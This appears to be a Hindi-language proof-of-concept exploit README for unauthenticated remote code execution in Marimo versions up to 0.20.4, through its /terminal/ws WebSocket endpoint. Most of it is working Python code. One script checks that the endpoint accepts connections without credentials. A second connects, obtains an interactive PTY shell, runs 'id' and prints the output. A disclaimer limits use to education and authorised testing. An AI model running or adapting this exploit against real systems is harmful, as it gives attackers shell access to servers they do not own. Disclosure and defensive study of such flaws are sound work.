
प्री-ऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Marimo में WebSocket एंडपॉइंट के माध्यम से काम करता है, जिससे बिना प्रमाणीकरण के हमलावर इंटरैक्टिव PTY शेल प्राप्त कर सकते हैं।
केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।
Marimo <= 0.20.4 में प्री-ऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन।
WebSocket एंडपॉइंट /terminal/ws प्रमाणीकरण सत्यापन को छोड़ देता है, जिससे एक अनधिकृत हमलावर एक ही कनेक्शन के माध्यम से पूर्ण इंटरैक्टिव PTY शेल प्राप्त कर सकता है।
websockets (pip install websockets)पुष्टि करता है कि एंडपॉइंट बिना क्रेडेंशियल्स के कनेक्शन स्वीकार करता है:
import socket, base64, os
host = '127.0.0.1'
port = 2718
path = '/terminal/ws'
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Upgrade: websocket\r\n'
f'Connection: Upgrade\r\n'
f'Sec-WebSocket-Key: {key}\r\n'
f'Sec-WebSocket-Version: 13\r\n'
f'Sec-WebSocket-Protocol: terminal\r\n'
f'\r\n'
)
s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
अपेक्षित परिणाम: HTTP/1.1 101 Switching Protocols
import asyncio, websockets, re
async def exploit(host, port):
uri = f"ws://{host}:{port}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
print("[+] बिना प्रमाणीकरण के कनेक्शन स्थापित हुआ")
await asyncio.sleep(0.3)
# प्रारंभिक PTY बैनर पढ़ें
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[PTY बैनर]:", repr(msg))
except asyncio.TimeoutError:
pass
# कमांड भेजें
await ws.send("id\n")
await asyncio.sleep(0.5)
# टाइमआउट तक फ्रेम पढ़ें
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[RCE आउटपुट]:", clean)
asyncio.run(exploit("127.0.0.1", 2718))
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।